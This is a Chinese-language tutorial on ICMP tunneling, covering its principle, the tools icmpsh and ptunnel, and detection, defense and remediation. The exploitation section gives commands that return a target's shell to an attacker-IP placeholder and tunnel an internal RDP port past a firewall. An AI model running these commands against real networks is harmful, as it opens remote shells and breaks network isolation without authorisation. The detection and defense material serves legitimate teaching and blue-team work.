写在前面:合法学习边界
ICMP 隧道只在授权内网靶场使用。对非授权网络建立隐蔽通道可能触犯法律。
一、漏洞原理
很多防火墙放行 ICMP(否则 ping 不通,运维排查麻烦),但会拦截常见端口(443/445/3389 等)。ICMP 隧道就是把数据封装进 ICMP echo(ping)包,借这条“放行通道”传数据。
1
2
| 数据 → 封装进 ICMP payload → 对端解封装
看起来只是普通 ping,实际在传任意数据
|
常用工具:
1
2
3
| icmpsh:简单,做命令回显/反弹
ptunnel:建立 TCP over ICMP 隧道
PingTunnel:类似 ptunnel
|
二、影响与危害
1
2
3
| 绕过防火墙出站限制
在只放行 ICMP 的环境建立通道
外带数据、隧道代理
|
风险等级:高(一旦建立等于打通网络隔离)。
三、利用 / 复现
icmpsh:命令回显/反弹
1
2
3
4
| # 攻击机(服务器端)
python icmpsh_m.py 攻击机IP 目标IP
# 目标机(客户端,需要 root)
./icmpsh.exe -t 攻击机IP -d 500 -s 500
|
连接成功后目标机的 Shell 回到攻击机。
ptunnel:TCP over ICMP
1
2
3
4
5
6
| # 服务端(攻击机,监听)
./ptunnel -x 密码
# 客户端(目标机,连接到内网某台机器)
./ptunnel -p 攻击机IP -lp 2222 -da 10.0.0.5 -dp 3389 -x 密码
# 本地连接
rdesktop 127.0.0.1:2222
|
即通过 ICMP 隧道把内网 10.0.0.5:3389 映射到本地 2222 端口。
使用条件
1
2
3
| 能 ping 通目标(ICMP 放行)
icmpsh 客户端需要 root/管理员权限
网络中间不能过滤畸形 ICMP 包
|
四、检测
1
2
3
4
5
| ICMP 包体积异常大(超过正常 ping 的 64/128 字节)
高频、连续 ICMP 请求(正常 ping 频率低)
ICMP payload 内容非纯数字/字母,出现编码特征
请求与响应包大小比例异常
同一 IP 长时间持续 ICMP 交互
|
五、防御
1
2
3
4
| 防火墙限制 ICMP 出站/入站到可信来源
监控异常 ICMP 流量并告警
在边界禁止畸形/超大 ICMP 包
对关键网段关闭 ICMP 回显
|
六、加固(修复)
1
2
3
4
| 发现隧道:断开通道并封禁来源 IP
清理隧道工具与持久化进程
收紧 ICMP 策略,补边界防护
对失陷主机取证追查数据流向
|
完整操作步骤
1
2
3
4
5
| 第 1 步:确认能 ping 通目标(ICMP 放行)
第 2 步:icmpsh 命令回显(目标需 root)
第 3 步:ptunnel 把内网端口映射到本地
第 4 步:通过隧道访问内网服务
第 5 步:使用完清理
|
七、小结
ICMP 隧道是“规则总是漏掉的那条路”:防火墙防端口,却常放行 ping。红队用它绕隔离,蓝队要抓的是异常 ICMP 的特征——大包、高频、非正常 payload。